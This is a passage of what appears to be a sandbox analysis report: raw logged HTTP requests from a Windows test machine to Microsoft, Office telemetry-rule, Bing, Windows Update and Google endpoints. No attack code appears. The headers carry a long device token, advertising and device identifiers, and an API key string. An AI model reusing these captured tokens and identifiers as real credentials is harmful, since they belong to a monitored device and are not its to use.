deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZRsFmL/gQ4wMgA/u1vTWXwVDIKCmaYLnNhLp2gR647JIQrLRrWS8AL08NbEcLiGsL2OIQEEdHTA7Gzk8uSCN0c+RUsOCxz0tOvVZYPB1V1ZjuWfDmSDk+SoAoWrSSzIUhDp1EjsYXsmQl0HNrdAV5wSBy4uJqyc9kVR1r8oI59RtBR9ed0igSpKuEsiOu/OadWr8SgtFetJOnF3u0NPyRmUZUV+XWD806d4zn8/7ypKpsGIi66ERicfJVr/8Yqw6f8O4VrhJbLZyIxnu6gtNer5shmzF+6nh8YsQc9boCNs4e0NoIVtGYSigsL2dqVlQIphwK6cgP2DNLR760pfIQwQZgAAEDcsqoRQQRpUbNnRKleQnVywAXkN+/lL+ZSyG60i6/t+A9WD5T6/Uxb7dMwX8dSlvjM8loAsShzcUtQJW1IX9EMeEHqoM/Xd752D+FYSbAeTRrdjV4nIJxTXUXL2HIP0Xo/UCAf9r1iMqNuJD2rVXNmqsipDQeJ6Xgnf9iQLpfcL3emjQh8YID6x3J7RobWhtgJUw+sdI1V5rfi92R6tUDO2Nbz2qcSUKAtzrIm9rzGlSIX5IGuJ24Pg/US4vqeUEumglYWNsV8yBa/fB4FeISvxWPtlWw8726odTtYUty9ale9LgtVXbNzWT25HoJWbvhepgLBla6BkMAzKlPddVQaiIJJvD3gy2bWWnnH6XtPsMYmZRi6KHOivVexqO+BL/E88P/b6a97lsatlM9lSS/BLIPtTTT8pZ5Wo8fjf/Uh6ls+skl36ORCOkFEJBXIuraPJWPxmV/GI4MeZGCEkYZFNFH3/NcoGaB++WdLDSoNl+u1m/kJklunBl3681yGYYFBhrRgovJ4h4r+eMtFN+9n8hHJkFD198onfPU5Gt8vc4senpFF/P/bqUE8Lb2hxjaRv0Esz1ntA+hy5+9ucQr8jCtcB&p=Cache-Control: no-cacheMS-CV: gf7tiTfAt0G6doBb.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402414229_1P4RDVHBQE93FAZFW&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402415510_1LQQ8WSBAXW97X0WT&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402369559_1P8IC1BLUXN6I3CCR&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402414228_1EUMX2S6TUEXTBXLL&pid=21.2&c=3&w=1080&h=1920&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402369571_1U3U9115H8LBQGQY6&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338388&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032022Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=17313b8ac33f4801a127d30238601219&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-338388&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&rver=2&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZRsFmL/gQ4wMgA/u1vTWXwVDIKCmaYLnNhLp2gR647JIQrLRrWS8AL08NbEcLiGsL2OIQEEdHTA7Gzk8uSCN0c+RUsOCxz0tOvVZYPB1V1ZjuWfDmSDk+SoAoWrSSzIUhDp1EjsYXsmQl0HNrdAV5wSBy4uJqyc9kVR1r8oI59RtBR9ed0igSpKuEsiOu/OadWr8SgtFetJOnF3u0NPyRmUZUV+XWD806d4zn8/7ypKpsGIi66ERicfJVr/8Yqw6f8O4VrhJbLZyIxnu6gtNer5shmzF+6nh8YsQc9boCNs4e0NoIVtGYSigsL2dqVlQIphwK6cgP2DNLR760pfIQwQZgAAEDcsqoRQQRpUbNnRKleQnVywAXkN+/lL+ZSyG60i6/t+A9WD5T6/Uxb7dMwX8dSlvjM8loAsShzcUtQJW1IX9EMeEHqoM/Xd752D+FYSbAeTRrdjV4nIJxTXUXL2HIP0Xo/UCAf9r1iMqNuJD2rVXNmqsipDQeJ6Xgnf9iQLpfcL3emjQh8YID6x3J7RobWhtgJUw+sdI1V5rfi92R6tUDO2Nbz2qcSUKAtzrIm9rzGlSIX5IGuJ24Pg/US4vqeUEumglYWNsV8yBa/fB4FeISvxWPtlWw8726odTtYUty9ale9LgtVXbNzWT25HoJWbvhepgLBla6BkMAzKlPddVQaiIJJvD3gy2bWWnnH6XtPsMYmZRi6KHOivVexqO+BL/E88P/b6a97lsatlM9lSS/BLIPtTTT8pZ5Wo8fjf/Uh6ls+skl36ORCOkFEJBXIuraPJWPxmV/GI4MeZGCEkYZFNFH3/NcoGaB++WdLDSoNl+u1m/kJklunBl3681yGYYFBhrRgovJ4h4r+eMtFN+9n8hHJkFD198onfPU5Gt8vc4senpFF/P/bqUE8Lb2hxjaRv0Esz1ntA+hy5+9ucQr8jCtcB&p=Cache-Control: no-cacheMS-CV: 3A8UQf5+PEiE24SX.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=88000045&adm=2&w=1&h=1&wpx=1&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&localid=w:068D482D-8F3B-78AE-DAA0-0C08B8FF2AE6&ctry=CH&time=20241124T032022Z&lc=en-CH&pl=en-CH,en-GB&idtp=mid&uid=d215e385-cdc6-4502-a974-fb4c5f95db96&aid=00000000-0000-0000-0000-000000000000&ua=WindowsShellClient%2F9.0.40929.0%20%28Windows%29&asid=84866e6b041e45e7b7ef2b5d557ee125&ctmode=MultiSession&arch=x64&betaedgever=0.0.0.0&canedgever=0.0.0.0&cdm=1&cdmver=10.0.19041.1023&devedgever=0.0.0.0&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.19045.2006&disphorzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=598862&metered=false&nettype=ethernet&npid=sc-88000045&oemName=ovxbtq%2C%20Inc.&oemid=Public&ossku=Professional&scmid=Public&smBiosDm=ovxbtq20%2C1&stabedgever=117.0.2045.55&svcmpt=Red&svgtng=2&svtmexp=1699747200&svtmupd=1696486876&tl=2&tsu=598862&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing=&svoffered=0 HTTP/1.1Accept-Encoding: gzip, deflateX-SDK-CACHE: chs=0&imp=0&chf=0&ds=50543&fs=23594&sc=6X-SDK-HW-TOKEN: t=EwDoAppeBAAUGoFunEzxzyai/T0i5tnZAAR1eX0AAZRsFmL/gQ4wMgA/u1vTWXwVDIKCmaYLnNhLp2gR647JIQrLRrWS8AL08NbEcLiGsL2OIQEEdHTA7Gzk8uSCN0c+RUsOCxz0tOvVZYPB1V1ZjuWfDmSDk+SoAoWrSSzIUhDp1EjsYXsmQl0HNrdAV5wSBy4uJqyc9kVR1r8oI59RtBR9ed0igSpKuEsiOu/OadWr8SgtFetJOnF3u0NPyRmUZUV+XWD806d4zn8/7ypKpsGIi66ERicfJVr/8Yqw6f8O4VrhJbLZyIxnu6gtNer5shmzF+6nh8YsQc9boCNs4e0NoIVtGYSigsL2dqVlQIphwK6cgP2DNLR760pfIQwQZgAAEDcsqoRQQRpUbNnRKleQnVywAXkN+/lL+ZSyG60i6/t+A9WD5T6/Uxb7dMwX8dSlvjM8loAsShzcUtQJW1IX9EMeEHqoM/Xd752D+FYSbAeTRrdjV4nIJxTXUXL2HIP0Xo/UCAf9r1iMqNuJD2rVXNmqsipDQeJ6Xgnf9iQLpfcL3emjQh8YID6x3J7RobWhtgJUw+sdI1V5rfi92R6tUDO2Nbz2qcSUKAtzrIm9rzGlSIX5IGuJ24Pg/US4vqeUEumglYWNsV8yBa/fB4FeISvxWPtlWw8726odTtYUty9ale9LgtVXbNzWT25HoJWbvhepgLBla6BkMAzKlPddVQaiIJJvD3gy2bWWnnH6XtPsMYmZRi6KHOivVexqO+BL/E88P/b6a97lsatlM9lSS/BLIPtTTT8pZ5Wo8fjf/Uh6ls+skl36ORCOkFEJBXIuraPJWPxmV/GI4MeZGCEkYZFNFH3/NcoGaB++WdLDSoNl+u1m/kJklunBl3681yGYYFBhrRgovJ4h4r+eMtFN+9n8hHJkFD198onfPU5Gt8vc4senpFF/P/bqUE8Lb2hxjaRv0Esz1ntA+hy5+9ucQr8jCtcB&p=Cache-Control: no-cacheMS-CV: 3A8UQf5+PEiE24SX.0User-Agent: WindowsShellClient/9.0.40929.0 (Windows)X-SDK-HWF: arm0,arm640,ble0,cmb0,cmf0,cmr0,dcb1,dcc1,dx91,dxa1,dxb1,gyr0,hce0,hdc0,hov0,hsa0,hss1,kbd1,m041,m060,m080,m120,m160,m200,m301,m751,mA01,mct0,mgn0,mic0,mrc0,mse1,mT01,nfc0,rs10,rs20,rs30,rs40,rs50,rs60,tch0,tel0,v010,v020,v040,x641,x860,x86a640,xbd0,xbo0,xbs0,xbx0,xgp0Host: arc.msn.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /th?id=OADD2.10239402456886_16PSERWAUMTCB5AWR&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1Accept: /Accept-Encoding: gzip, deflate, brUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045Host: tse1.mm.bing.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlKHLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=ZC9rhHYPRGGDass&MD=WahvoXU8 HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1288324157&PG=PC000P0FR5.0000000IRU&REQASID=56ED776A4B7B426094846F6111A63AFF&UNID=338389&ASID=e9f988fdbd134eb8a29556abfc7e0908&&DS_EVTID=56ED776A4B7B426094846F6111A63AFF&DEVOSVER=10.0.19045.2006&REQT=20241124T032020&TIME=20241124T032022Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /v1/a/impression?CID=128000000001615609&region=CH&lang=EN-CH%2CEN-GB&oem=&devFam=WINDOWS.DESKTOP&ossku=PROFESSIONAL&cmdVer=10.0.19041.1023&mo=&cap=&EID=&&PID=426081542&UIT=M-&TargetID=1&AN=1288324157&PG=PC000P0FR5.0000000IRU&REQASID=56ED776A4B7B426094846F6111A63AFF&UNID=338389&ASID=e9f988fdbd134eb8a29556abfc7e0908&&DS_EVTID=56ED776A4B7B426094846F6111A63AFF&DEVOSVER=10.0.19045.2006&REQT=20241124T032020&TIME=20241124T032022Z&ARCRAS=&CLR=CDM HTTP/1.1Accept-Encoding: gzip, deflateUser-Agent: WindowsShellClient/9.0.40929.0 (Windows)Host: ris.api.iris.microsoft.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
